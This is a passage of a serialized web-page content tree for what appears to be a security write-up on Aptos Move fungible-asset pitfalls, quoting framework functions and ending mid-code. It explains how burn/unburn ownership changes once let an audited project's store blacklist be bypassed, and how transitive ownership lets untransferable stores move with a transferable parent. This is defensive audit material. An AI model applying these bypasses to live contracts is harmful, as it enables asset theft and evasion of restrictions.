",{"type":24,"tag":135,"props":70165,"children":70167},{"className":70166},[],[70168],{"type":29,"value":68862},{"type":29,"value":70170}," resource becomes permanently undeletable. This is because ",{"type":24,"tag":135,"props":70172,"children":70174},{"className":70173},[],[70175],{"type":29,"value":70176},"remove_store",{"type":29,"value":70178}," can't create an ",{"type":24,"tag":135,"props":70180,"children":70182},{"className":70181},[],[70183],{"type":29,"value":70184},"Object\u003CFungibleStore>",{"type":29,"value":70186}," without an ",{"type":24,"tag":135,"props":70188,"children":70190},{"className":70189},[],[70191],{"type":29,"value":56516},{"type":29,"value":70193}," underneath, causing the operation to fail.",{"type":24,"tag":261,"props":70195,"children":70197},{"className":10718,"code":70196,"language":10717,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[70198],{"type":24,"tag":135,"props":70199,"children":70200},{"__ignoreMap":7},[70201,70256,70308,70323],{"type":24,"tag":271,"props":70202,"children":70203},{"class":273,"line":274},[70204,70208,70212,70216,70220,70224,70228,70232,70236,70240,70244,70248,70252],{"type":24,"tag":271,"props":70205,"children":70206},{"style":630},[70207],{"type":29,"value":68461},{"type":24,"tag":271,"props":70209,"children":70210},{"style":630},[70211],{"type":29,"value":13924},{"type":24,"tag":271,"props":70213,"children":70214},{"style":598},[70215],{"type":29,"value":70057},{"type":24,"tag":271,"props":70217,"children":70218},{"style":288},[70219],{"type":29,"value":606},{"type":24,"tag":271,"props":70221,"children":70222},{"style":630},[70223],{"type":29,"value":70066},{"type":24,"tag":271,"props":70225,"children":70226},{"style":624},[70227],{"type":29,"value":12210},{"type":24,"tag":271,"props":70229,"children":70230},{"style":624},[70231],{"type":29,"value":14858},{"type":24,"tag":271,"props":70233,"children":70234},{"style":3887},[70235],{"type":29,"value":70079},{"type":24,"tag":271,"props":70237,"children":70238},{"style":288},[70239],{"type":29,"value":8823},{"type":24,"tag":271,"props":70241,"children":70242},{"style":630},[70243],{"type":29,"value":14061},{"type":24,"tag":271,"props":70245,"children":70246},{"style":288},[70247],{"type":29,"value":30718},{"type":24,"tag":271,"props":70249,"children":70250},{"style":624},[70251],{"type":29,"value":17298},{"type":24,"tag":271,"props":70253,"children":70254},{"style":288},[70255],{"type":29,"value":68552},{"type":24,"tag":271,"props":70257,"children":70258},{"class":273,"line":284},[70259,70263,70267,70271,70275,70279,70283,70288,70292,70296,70300,70304],{"type":24,"tag":271,"props":70260,"children":70261},{"style":278},[70262],{"type":29,"value":10738},{"type":24,"tag":271,"props":70264,"children":70265},{"style":630},[70266],{"type":29,"value":13547},{"type":24,"tag":271,"props":70268,"children":70269},{"style":624},[70270],{"type":29,"value":1712},{"type":24,"tag":271,"props":70272,"children":70273},{"style":624},[70274],{"type":29,"value":14858},{"type":24,"tag":271,"props":70276,"children":70277},{"style":288},[70278],{"type":29,"value":69696},{"type":24,"tag":271,"props":70280,"children":70281},{"style":624},[70282],{"type":29,"value":11207},{"type":24,"tag":271,"props":70284,"children":70285},{"style":630},[70286],{"type":29,"value":70287},"object_from_delete_ref",{"type":24,"tag":271,"props":70289,"children":70290},{"style":288},[70291],{"type":29,"value":801},{"type":24,"tag":271,"props":70293,"children":70294},{"style":3887},[70295],{"type":29,"value":68862},{"type":24,"tag":271,"props":70297,"children":70298},{"style":288},[70299],{"type":29,"value":15327},{"type":24,"tag":271,"props":70301,"children":70302},{"style":630},[70303],{"type":29,"value":70066},{"type":24,"tag":271,"props":70305,"children":70306},{"style":288},[70307],{"type":29,"value":1155},{"type":24,"tag":271,"props":70309,"children":70310},{"class":273,"line":294},[70311,70315,70319],{"type":24,"tag":271,"props":70312,"children":70313},{"style":288},[70314],{"type":29,"value":69504},{"type":24,"tag":271,"props":70316,"children":70317},{"style":624},[70318],{"type":29,"value":17298},{"type":24,"tag":271,"props":70320,"children":70321},{"style":288},[70322],{"type":29,"value":19475},{"type":24,"tag":271,"props":70324,"children":70325},{"class":273,"line":303},[70326],{"type":24,"tag":271,"props":70327,"children":70328},{"style":288},[70329],{"type":29,"value":1171},{"type":24,"tag":25,"props":70331,"children":70332},{},[70333,70335,70340,70342,70348,70350,70355],{"type":29,"value":70334},"In addition, such \"deleted\" ",{"type":24,"tag":135,"props":70336,"children":70338},{"className":70337},[],[70339],{"type":29,"value":68862},{"type":29,"value":70341}," objects remain at least partially operable. For instance, ",{"type":24,"tag":135,"props":70343,"children":70345},{"className":70344},[],[70346],{"type":29,"value":70347},"fungible_asset::deposit",{"type":29,"value":70349}," does not check the ",{"type":24,"tag":135,"props":70351,"children":70353},{"className":70352},[],[70354],{"type":29,"value":56516},{"type":29,"value":70356}," existence.",{"type":24,"tag":85,"props":70358,"children":70360},{"id":70359},"ownership",[70361],{"type":29,"value":70362},"Ownership",{"type":24,"tag":25,"props":70364,"children":70365},{},[70366,70368,70373,70375,70381,70383,70388],{"type":29,"value":70367},"Each object has an owner. Fungible assets rely on the ",{"type":24,"tag":135,"props":70369,"children":70371},{"className":70370},[],[70372],{"type":29,"value":56516},{"type":29,"value":70374}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":24,"tag":135,"props":70376,"children":70378},{"className":70377},[],[70379],{"type":29,"value":70380},"object::owns",{"type":29,"value":70382}," to confirm ownership of the ",{"type":24,"tag":135,"props":70384,"children":70386},{"className":70385},[],[70387],{"type":29,"value":68862},{"type":29,"value":57839},{"type":24,"tag":261,"props":70390,"children":70392},{"className":10718,"code":70391,"language":10717,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[70393],{"type":24,"tag":135,"props":70394,"children":70395},{"__ignoreMap":7},[70396,70444,70468,70495,70515,70543,70611,70626],{"type":24,"tag":271,"props":70397,"children":70398},{"class":273,"line":274},[70399,70403,70407,70411,70415,70419,70424,70428,70432,70436,70440],{"type":24,"tag":271,"props":70400,"children":70401},{"style":598},[70402],{"type":29,"value":68461},{"type":24,"tag":271,"props":70404,"children":70405},{"style":288},[70406],{"type":29,"value":606},{"type":24,"tag":271,"props":70408,"children":70409},{"style":630},[70410],{"type":29,"value":14815},{"type":24,"tag":271,"props":70412,"children":70413},{"style":288},[70414],{"type":29,"value":8823},{"type":24,"tag":271,"props":70416,"children":70417},{"style":630},[70418],{"type":29,"value":14824},{"type":24,"tag":271,"props":70420,"children":70421},{"style":630},[70422],{"type":29,"value":70423}," withdraw_sanity_check",{"type":24,"tag":271,"props":70425,"children":70426},{"style":288},[70427],{"type":29,"value":801},{"type":24,"tag":271,"props":70429,"children":70430},{"style":3887},[70431],{"type":29,"value":13704},{"type":24,"tag":271,"props":70433,"children":70434},{"style":624},[70435],{"type":29,"value":12210},{"type":24,"tag":271,"props":70437,"children":70438},{"style":630},[70439],{"type":29,"value":13648},{"type":24,"tag":271,"props":70441,"children":70442},{"style":288},[70443],{"type":29,"value":14305},{"type":24,"tag":271,"props":70445,"children":70446},{"class":273,"line":284},[70447,70452,70456,70460,70464],{"type":24,"tag":271,"props":70448,"children":70449},{"style":630},[70450],{"type":29,"value":70451}," owner",{"type":24,"tag":271,"props":70453,"children":70454},{"style":624},[70455],{"type":29,"value":12210},{"type":24,"tag":271,"props":70457,"children":70458},{"style":624},[70459],{"type":29,"value":14858},{"type":24,"tag":271,"props":70461,"children":70462},{"style":630},[70463],{"type":29,"value":14863},{"type":24,"tag":271,"props":70465,"children":70466},{"style":288},[70467],{"type":29,"value":638},{"type":24,"tag":271,"props":70469,"children":70470},{"class":273,"line":294},[70471,70475,70479,70483,70487,70491],{"type":24,"tag":271,"props":70472,"children":70473},{"style":630},[70474],{"type":29,"value":37088},{"type":24,"tag":271,"props":70476,"children":70477},{"style":624},[70478],{"type":29,"value":12210},{"type":24,"tag":271,"props":70480,"children":70481},{"style":3887},[70482],{"type":29,"value":68347},{"type":24,"tag":271,"props":70484,"children":70485},{"style":288},[70486],{"type":29,"value":801},{"type":24,"tag":271,"props":70488,"children":70489},{"style":3887},[70490],{"type":29,"value":13704},{"type":24,"tag":271,"props":70492,"children":70493},{"style":288},[70494],{"type":29,"value":13855},{"type":24,"tag":271,"props":70496,"children":70497},{"class":273,"line":303},[70498,70503,70507,70511],{"type":24,"tag":271,"props":70499,"children":70500},{"style":630},[70501],{"type":29,"value":70502}," abort_on_dispatch",{"type":24,"tag":271,"props":70504,"children":70505},{"style":624},[70506],{"type":29,"value":12210},{"type":24,"tag":271,"props":70508,"children":70509},{"style":3887},[70510],{"type":29,"value":19753},{"type":24,"tag":271,"props":70512,"children":70513},{"style":288},[70514],{"type":29,"value":638},{"type":24,"tag":271,"props":70516,"children":70517},{"class":273,"line":312},[70518,70522,70526,70530,70534,70539],{"type":24,"tag":271,"props":70519,"children":70520},{"style":288},[70521],{"type":29,"value":8823},{"type":24,"tag":271,"props":70523,"children":70524},{"style":630},[70525],{"type":29,"value":14061},{"type":24,"tag":271,"props":70527,"children":70528},{"style":3887},[70529],{"type":29,"value":68882},{"type":24,"tag":271,"props":70531,"children":70532},{"style":288},[70533],{"type":29,"value":158},{"type":24,"tag":271,"props":70535,"children":70536},{"style":3887},[70537],{"type":29,"value":70538},"DispatchFunctionStore",{"type":24,"tag":271,"props":70540,"children":70541},{"style":288},[70542],{"type":29,"value":7145},{"type":24,"tag":271,"props":70544,"children":70545},{"class":273,"line":321},[70546,70550,70555,70559,70564,70568,70572,70576,70580,70584,70588,70592,70597,70601,70606],{"type":24,"tag":271,"props":70547,"children":70548},{"style":598},[70549],{"type":29,"value":69130},{"type":24,"tag":271,"props":70551,"children":70552},{"style":288},[70553],{"type":29,"value":70554},"(object",{"type":24,"tag":271,"props":70556,"children":70557},{"style":624},[70558],{"type":29,"value":11207},{"type":24,"tag":271,"props":70560,"children":70561},{"style":598},[70562],{"type":29,"value":70563},"owns",{"type":24,"tag":271,"props":70565,"children":70566},{"style":288},[70567],{"type":29,"value":606},{"type":24,"tag":271,"props":70569,"children":70570},{"style":630},[70571],{"type":29,"value":13657},{"type":24,"tag":271,"props":70573,"children":70574},{"style":288},[70575],{"type":29,"value":20636},{"type":24,"tag":271,"props":70577,"children":70578},{"style":624},[70579],{"type":29,"value":11207},{"type":24,"tag":271,"props":70581,"children":70582},{"style":598},[70583],{"type":29,"value":14926},{"type":24,"tag":271,"props":70585,"children":70586},{"style":288},[70587],{"type":29,"value":606},{"type":24,"tag":271,"props":70589,"children":70590},{"style":630},[70591],{"type":29,"value":23307},{"type":24,"tag":271,"props":70593,"children":70594},{"style":288},[70595],{"type":29,"value":70596},")), error",{"type":24,"tag":271,"props":70598,"children":70599},{"style":624},[70600],{"type":29,"value":11207},{"type":24,"tag":271,"props":70602,"children":70603},{"style":598},[70604],{"type":29,"value":70605},"permission_denied",{"type":24,"tag":271,"props":70607,"children":70608},{"style":288},[70609],{"type":29,"value":70610},"(ENOT_STORE_OWNER));\n",{"type":24,"tag":271,"props":70612,"children":70613},{"class":273,"line":330},[70614,70618,70622],{"type":24,"tag":271,"props":70615,"children":70616},{"style":288},[70617],{"type":29,"value":69504},{"type":24,"tag":271,"props":70619,"children":70620},{"style":624},[70621],{"type":29,"value":17298},{"type":24,"tag":271,"props":70623,"children":70624},{"style":288},[70625],{"type":29,"value":19475},{"type":24,"tag":271,"props":70627,"children":70628},{"class":273,"line":339},[70629],{"type":24,"tag":271,"props":70630,"children":70631},{"style":288},[70632],{"type":29,"value":1171},{"type":24,"tag":25,"props":70634,"children":70635},{},[70636,70638,70643,70645,70651,70653,70659],{"type":29,"value":70637},"The thing to note is that defining ownership with ",{"type":24,"tag":135,"props":70639,"children":70641},{"className":70640},[],[70642],{"type":29,"value":70380},{"type":29,"value":70644}," can be tricky. The ",{"type":24,"tag":135,"props":70646,"children":70648},{"className":70647},[],[70649],{"type":29,"value":70650},"burn",{"type":29,"value":70652}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":24,"tag":135,"props":70654,"children":70656},{"className":70655},[],[70657],{"type":29,"value":70658},"BURN_ADDRESS",{"type":29,"value":70660}," while bypassing transfer restrictions:",{"type":24,"tag":261,"props":70662,"children":70664},{"className":10718,"code":70663,"language":10717,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[70665],{"type":24,"tag":135,"props":70666,"children":70667},{"__ignoreMap":7},[70668,70765,70806,70856,70885,70935,70956],{"type":24,"tag":271,"props":70669,"children":70670},{"class":273,"line":274},[70671,70675,70679,70683,70688,70692,70696,70700,70704,70708,70712,70716,70720,70724,70728,70732,70736,70740,70744,70748,70752,70756,70761],{"type":24,"tag":271,"props":70672,"children":70673},{"style":630},[70674],{"type":29,"value":68461},{"type":24,"tag":271,"props":70676,"children":70677},{"style":630},[70678],{"type":29,"value":69428},{"type":24,"tag":271,"props":70680,"children":70681},{"style":630},[70682],{"type":29,"value":13924},{"type":24,"tag":271,"props":70684,"children":70685},{"style":630},[70686],{"type":29,"value":70687}," burn",{"type":24,"tag":271,"props":70689,"children":70690},{"style":288},[70691],{"type":29,"value":801},{"type":24,"tag":271,"props":70693,"children":70694},{"style":3887},[70695],{"type":29,"value":13704},{"type":24,"tag":271,"props":70697,"children":70698},{"style":624},[70699],{"type":29,"value":12210},{"type":24,"tag":271,"props":70701,"children":70702},{"style":630},[70703],{"type":29,"value":13648},{"type":24,"tag":271,"props":70705,"children":70706},{"style":288},[70707],{"type":29,"value":15327},{"type":24,"tag":271,"props":70709,"children":70710},{"style":630},[70711],{"type":29,"value":23307},{"type":24,"tag":271,"props":70713,"children":70714},{"style":624},[70715],{"type":29,"value":12210},{"type":24,"tag":271,"props":70717,"children":70718},{"style":624},[70719],{"type":29,"value":14858},{"type":24,"tag":271,"props":70721,"children":70722},{"style":630},[70723],{"type":29,"value":14863},{"type":24,"tag":271,"props":70725,"children":70726},{"style":288},[70727],{"type":29,"value":158},{"type":24,"tag":271,"props":70729,"children":70730},{"style":630},[70731],{"type":29,"value":69696},{"type":24,"tag":271,"props":70733,"children":70734},{"style":624},[70735],{"type":29,"value":12210},{"type":24,"tag":271,"props":70737,"children":70738},{"style":3887},[70739],{"type":29,"value":68347},{"type":24,"tag":271,"props":70741,"children":70742},{"style":288},[70743],{"type":29,"value":801},{"type":24,"tag":271,"props":70745,"children":70746},{"style":3887},[70747],{"type":29,"value":13704},{"type":24,"tag":271,"props":70749,"children":70750},{"style":288},[70751],{"type":29,"value":28134},{"type":24,"tag":271,"props":70753,"children":70754},{"style":630},[70755],{"type":29,"value":14061},{"type":24,"tag":271,"props":70757,"children":70758},{"style":3887},[70759],{"type":29,"value":70760}," ObjectCore",{"type":24,"tag":271,"props":70762,"children":70763},{"style":288},[70764],{"type":29,"value":7145},{"type":24,"tag":271,"props":70766,"children":70767},{"class":273,"line":284},[70768,70772,70777,70781,70786,70790,70794,70798,70802],{"type":24,"tag":271,"props":70769,"children":70770},{"style":278},[70771],{"type":29,"value":10738},{"type":24,"tag":271,"props":70773,"children":70774},{"style":630},[70775],{"type":29,"value":70776}," original_owner",{"type":24,"tag":271,"props":70778,"children":70779},{"style":624},[70780],{"type":29,"value":1712},{"type":24,"tag":271,"props":70782,"children":70783},{"style":288},[70784],{"type":29,"value":70785}," signer",{"type":24,"tag":271,"props":70787,"children":70788},{"style":624},[70789],{"type":29,"value":11207},{"type":24,"tag":271,"props":70791,"children":70792},{"style":598},[70793],{"type":29,"value":14926},{"type":24,"tag":271,"props":70795,"children":70796},{"style":288},[70797],{"type":29,"value":606},{"type":24,"tag":271,"props":70799,"children":70800},{"style":630},[70801],{"type":29,"value":23307},{"type":24,"tag":271,"props":70803,"children":70804},{"style":288},[70805],{"type":29,"value":1155},{"type":24,"tag":271,"props":70807,"children":70808},{"class":273,"line":294},[70809,70813,70817,70822,70826,70830,70834,70839,70843,70847,70851],{"type":24,"tag":271,"props":70810,"children":70811},{"style":598},[70812],{"type":29,"value":69130},{"type":24,"tag":271,"props":70814,"children":70815},{"style":288},[70816],{"type":29,"value":606},{"type":24,"tag":271,"props":70818,"children":70819},{"style":598},[70820],{"type":29,"value":70821},"is_owner",{"type":24,"tag":271,"props":70823,"children":70824},{"style":288},[70825],{"type":29,"value":606},{"type":24,"tag":271,"props":70827,"children":70828},{"style":630},[70829],{"type":29,"value":69696},{"type":24,"tag":271,"props":70831,"children":70832},{"style":288},[70833],{"type":29,"value":158},{"type":24,"tag":271,"props":70835,"children":70836},{"style":630},[70837],{"type":29,"value":70838},"original_owner",{"type":24,"tag":271,"props":70840,"children":70841},{"style":288},[70842],{"type":29,"value":69719},{"type":24,"tag":271,"props":70844,"children":70845},{"style":624},[70846],{"type":29,"value":11207},{"type":24,"tag":271,"props":70848,"children":70849},{"style":598},[70850],{"type":29,"value":70605},{"type":24,"tag":271,"props":70852,"children":70853},{"style":288},[70854],{"type":29,"value":70855},"(ENOT_OBJECT_OWNER));\n",{"type":24,"tag":271,"props":70857,"children":70858},{"class":273,"line":303},[70859,70863,70868,70872,70876,70880],{"type":24,"tag":271,"props":70860,"children":70861},{"style":278},[70862],{"type":29,"value":10738},{"type":24,"tag":271,"props":70864,"children":70865},{"style":630},[70866],{"type":29,"value":70867}," object_addr",{"type":24,"tag":271,"props":70869,"children":70870},{"style":624},[70871],{"type":29,"value":1712},{"type":24,"tag":271,"props":70873,"children":70874},{"style":630},[70875],{"type":29,"value":69280},{"type":24,"tag":271,"props":70877,"children":70878},{"style":624},[70879],{"type":29,"value":41},{"type":24,"tag":271,"props":70881,"children":70882},{"style":288},[70883],{"type":29,"value":70884},"inner;\n",{"type":24,"tag":271,"props":70886,"children":70887},{"class":273,"line":312},[70888,70892,70896,70900,70905,70909,70914,70918,70923,70927,70931],{"type":24,"tag":271,"props":70889,"children":70890},{"style":598},[70891],{"type":29,"value":69883},{"type":24,"tag":271,"props":70893,"children":70894},{"style":288},[70895],{"type":29,"value":606},{"type":24,"tag":271,"props":70897,"children":70898},{"style":624},[70899],{"type":29,"value":1137},{"type":24,"tag":271,"props":70901,"children":70902},{"style":598},[70903],{"type":29,"value":70904},"create_signer",{"type":24,"tag":271,"props":70906,"children":70907},{"style":288},[70908],{"type":29,"value":606},{"type":24,"tag":271,"props":70910,"children":70911},{"style":630},[70912],{"type":29,"value":70913},"object_addr",{"type":24,"tag":271,"props":70915,"children":70916},{"style":288},[70917],{"type":29,"value":22874},{"type":24,"tag":271,"props":70919,"children":70920},{"style":3887},[70921],{"type":29,"value":70922},"TombStone",{"type":24,"tag":271,"props":70924,"children":70925},{"style":288},[70926],{"type":29,"value":17293},{"type":24,"tag":271,"props":70928,"children":70929},{"style":630},[70930],{"type":29,"value":70838},{"type":24,"tag":271,"props":70932,"children":70933},{"style":288},[70934],{"type":29,"value":46503},{"type":24,"tag":271,"props":70936,"children":70937},{"class":273,"line":321},[70938,70943,70947,70951],{"type":24,"tag":271,"props":70939,"children":70940},{"style":598},[70941],{"type":29,"value":70942}," transfer_raw_inner",{"type":24,"tag":271,"props":70944,"children":70945},{"style":288},[70946],{"type":29,"value":606},{"type":24,"tag":271,"props":70948,"children":70949},{"style":630},[70950],{"type":29,"value":70913},{"type":24,"tag":271,"props":70952,"children":70953},{"style":288},[70954],{"type":29,"value":70955},", BURN_ADDRESS);\n",{"type":24,"tag":271,"props":70957,"children":70958},{"class":273,"line":330},[70959],{"type":24,"tag":271,"props":70960,"children":70961},{"style":288},[70962],{"type":29,"value":1171},{"type":24,"tag":25,"props":70964,"children":70965},{},[70966,70972,70974,70979,70980,70987,70989,70994],{"type":24,"tag":135,"props":70967,"children":70969},{"className":70968},[],[70970],{"type":29,"value":70971},"unburn",{"type":29,"value":70973}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":24,"tag":135,"props":70975,"children":70977},{"className":70976},[],[70978],{"type":29,"value":70658},{"type":29,"value":26223},{"type":24,"tag":32,"props":70981,"children":70984},{"href":70982,"rel":70983},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[36],[70985],{"type":29,"value":70986},"AIP-99",{"type":29,"value":70988}," is a proposal to roll back the ",{"type":24,"tag":135,"props":70990,"children":70992},{"className":70991},[],[70993],{"type":29,"value":70650},{"type":29,"value":70995}," feature, but previously burned objects will remain restorable.",{"type":24,"tag":10670,"props":70997,"children":70998},{},[70999],{"type":24,"tag":25,"props":71000,"children":71001},{},[71002,71004,71008],{"type":29,"value":71003},"This ",{"type":24,"tag":271,"props":71005,"children":71006},{},[71007],{"type":29,"value":70986},{"type":29,"value":71009}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":24,"tag":25,"props":71011,"children":71012},{},[71013,71015,71021,71023,71028,71030,71035],{"type":29,"value":71014},"Another important thing is that ",{"type":24,"tag":135,"props":71016,"children":71018},{"className":71017},[],[71019],{"type":29,"value":71020},"fungible_asset::set_untransferable",{"type":29,"value":71022}," can be used to make all new ",{"type":24,"tag":135,"props":71024,"children":71026},{"className":71025},[],[71027],{"type":29,"value":69366},{"type":29,"value":71029}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":24,"tag":135,"props":71031,"children":71033},{"className":71032},[],[71034],{"type":29,"value":68862},{"type":29,"value":41},{"type":24,"tag":25,"props":71037,"children":71038},{},[71039,71041,71046,71048,71054,71056,71061,71063,71068],{"type":29,"value":71040},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":24,"tag":135,"props":71042,"children":71044},{"className":71043},[],[71045],{"type":29,"value":68862},{"type":29,"value":71047},", X can withdraw from that store. This is because ",{"type":24,"tag":135,"props":71049,"children":71051},{"className":71050},[],[71052],{"type":29,"value":71053},"fungible_asset::withdraw",{"type":29,"value":71055}," uses ",{"type":24,"tag":135,"props":71057,"children":71059},{"className":71058},[],[71060],{"type":29,"value":70380},{"type":29,"value":71062}," to verify both direct and indirect ownership of the ",{"type":24,"tag":135,"props":71064,"children":71066},{"className":71065},[],[71067],{"type":29,"value":68862},{"type":29,"value":57839},{"type":24,"tag":261,"props":71070,"children":71072},{"className":10718,"code":71071,"language":10717,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[71073],{"type":24,"tag":135,"props":71074,"children":71075},{"__ignoreMap":7},[71076,71137,71153,71183,71212,71227,71239,71269,71290,71297,71337,71362,71369],{"type":24,"tag":271,"props":71077,"children":71078},{"class":273,"line":274},[71079,71083,71088,71092,71096,71100,71104,71108,71113,71117,71121,71125,71129,71133],{"type":24,"tag":271,"props":71080,"children":71081},{"style":630},[71082],{"type":29,"value":14824},{"type":24,"tag":271,"props":71084,"children":71085},{"style":598},[71086],{"type":29,"value":71087}," verify_ungated_and_descendant",{"type":24,"tag":271,"props":71089,"children":71090},{"style":288},[71091],{"type":29,"value":606},{"type":24,"tag":271,"props":71093,"children":71094},{"style":630},[71095],{"type":29,"value":23307},{"type":24,"tag":271,"props":71097,"children":71098},{"style":624},[71099],{"type":29,"value":12210},{"type":24,"tag":271,"props":71101,"children":71102},{"style":630},[71103],{"type":29,"value":13967},{"type":24,"tag":271,"props":71105,"children":71106},{"style":288},[71107],{"type":29,"value":158},{"type":24,"tag":271,"props":71109,"children":71110},{"style":630},[71111],{"type":29,"value":71112},"destination",{"type":24,"tag":271,"props":71114,"children":71115},{"style":624},[71116],{"type":29,"value":12210},{"type":24,"tag":271,"props":71118,"children":71119},{"style":630},[71120],{"type":29,"value":13967},{"type":24,"tag":271,"props":71122,"children":71123},{"style":288},[71124],{"type":29,"value":8823},{"type":24,"tag":271,"props":71126,"children":71127},{"style":630},[71128],{"type":29,"value":14061},{"type":24,"tag":271,"props":71130,"children":71131},{"style":3887},[71132],{"type":29,"value":70760},{"type":24,"tag":271,"props":71134,"children":71135},{"style":288},[71136],{"type":29,"value":7145},{"type":24,"tag":271,"props":71138,"children":71139},{"class":273,"line":284},[71140,71145,71149],{"type":24,"tag":271,"props":71141,"children":71142},{"style":288},[71143],{"type":29,"value":71144}," [",{"type":24,"tag":271,"props":71146,"children":71147},{"style":624},[71148],{"type":29,"value":17298},{"type":24,"tag":271,"props":71150,"children":71151},{"style":288},[71152],{"type":29,"value":19475},{"type":24,"tag":271,"props":71154,"children":71155},{"class":273,"line":294},[71156,71161,71165,71169,71174,71179],{"type":24,"tag":271,"props":71157,"children":71158},{"style":749},[71159],{"type":29,"value":71160}," while",{"type":24,"tag":271,"props":71162,"children":71163},{"style":288},[71164],{"type":29,"value":1357},{"type":24,"tag":271,"props":71166,"children":71167},{"style":630},[71168],{"type":29,"value":23307},{"type":24,"tag":271,"props":71170,"children":71171},{"style":624},[71172],{"type":29,"value":71173}," !=",{"type":24,"tag":271,"props":71175,"children":71176},{"style":630},[71177],{"type":29,"value":71178}," current_address",{"type":24,"tag":271,"props":71180,"children":71181},{"style":288},[71182],{"type":29,"value":919},{"type":24,"tag":271,"props":71184,"children":71185},{"class":273,"line":303},[71186,71191,71195,71200,71204,71208],{"type":24,"tag":271,"props":71187,"children":71188},{"style":630},[71189],{"type":29,"value":71190}," count",{"type":24,"tag":271,"props":71192,"children":71193},{"style":624},[71194],{"type":29,"value":1712},{"type":24,"tag":271,"props":71196,"children":71197},{"style":630},[71198],{"type":29,"value":71199}," count",{"type":24,"tag":271,"props":71201,"children":71202},{"style":624},[71203],{"type":29,"value":4253},{"type":24,"tag":271,"props":71205,"children":71206},{"style":477},[71207],{"type":29,"value":824},{"type":24,"tag":271,"props":71209,"children":71210},{"style":288},[71211],{"type":29,"value":1069},{"type":24,"tag":271,"props":71213,"children":71214},{"class":273,"line":312},[71215,71219,71223],{"type":24,"tag":271,"props":71216,"children":71217},{"style":288},[71218],{"type":29,"value":71144},{"type":24,"tag":271,"props":71220,"children":71221},{"style":624},[71222],{"type":29,"value":17298},{"type":24,"tag":271,"props":71224,"children":71225},{"style":288},[71226],{"type":29,"value":19475},{"type":24,"tag":271,"props":71228,"children":71229},{"class":273,"line":321},[71230,71235],{"type":24,"tag":271,"props":71231,"children":71232},{"style":598},[71233],{"type":29,"value":71234}," assert!",{"type":24,"tag":271,"props":71236,"children":71237},{"style":288},[71238],{"type":29,"value":4028},{"type":24,"tag":271,"props":71240,"children":71241},{"class":273,"line":330},[71242,71247,71251,71256,71260,71265],{"type":24,"tag":271,"props":71243,"children":71244},{"style":630},[71245],{"type":29,"value":71246}," exists",{"type":24,"tag":271,"props":71248,"children":71249},{"style":288},[71250],{"type":29,"value":801},{"type":24,"tag":271,"props":71252,"children":71253},{"style":3887},[71254],{"type":29,"value":71255},"ObjectCore",{"type":24,"tag":271,"props":71257,"children":71258},{"style":288},[71259],{"type":29,"value":15327},{"type":24,"tag":271,"props":71261,"children":71262},{"style":630},[71263],{"type":29,"value":71264},"current_address",{"type":24,"tag":271,"props":71266,"children":71267},{"style":288},[71268],{"type":29,"value":14453},{"type":24,"tag":271,"props":71270,"children":71271},{"class":273,"line":339},[71272,71277,71281,71285],{"type":24,"tag":271,"props":71273,"children":71274},{"style":288},[71275],{"type":29,"value":71276}," error",{"type":24,"tag":271,"props":71278,"children":71279},{"style":624},[71280],{"type":29,"value":11207},{"type":24,"tag":271,"props":71282,"children":71283},{"style":598},[71284],{"type":29,"value":70605},{"type":24,"tag":271,"props":71286,"children":71287},{"style":288},[71288],{"type":29,"value":71289},"(ENOT_OBJECT_OWNER),\n",{"type":24,"tag":271,"props":71291,"children":71292},{"class":273,"line":347},[71293],{"type":24,"tag":271,"props":71294,"children":71295},{"style":288},[71296],{"type":29,"value":15460},{"type":24,"tag":271,"props":71298,"children":71299},{"class":273,"line":356},[71300,71304,71308,71312,71317,71321,71325,71329,71333],{"type":24,"tag":271,"props":71301,"children":71302},{"style":278},[71303],{"type":29,"value":10800},{"type":24,"tag":271,"props":71305,"children":71306},{"style":630},[71307],{"type":29,"value":69280},{"type":24,"tag":271,"props":71309,"children":71310},{"style":624},[71311],{"type":29,"value":1712},{"type":24,"tag":271,"props":71313,"children":71314},{"style":630},[71315],{"type":29,"value":71316}," borrow_global",{"type":24,"tag":271,"props":71318,"children":71319},{"style":288},[71320],{"type":29,"value":801},{"type":24,"tag":271,"props":71322,"children":71323},{"style":3887},[71324],{"type":29,"value":71255},{"type":24,"tag":271,"props":71326,"children":71327},{"style":288},[71328],{"type":29,"value":15327},{"type":24,"tag":271,"props":71330,"children":71331},{"style":630},[71332],{"type":29,"value":71264},{"type":24,"tag":271,"props":71334,"children":71335},{"style":288},[71336],{"type":29,"value":1155},{"type":24,"tag":271,"props":71338,"children":71339},{"class":273,"line":365},[71340,71345,71349,71353,71357],{"type":24,"tag":271,"props":71341,"children":71342},{"style":630},[71343],{"type":29,"value":71344}," 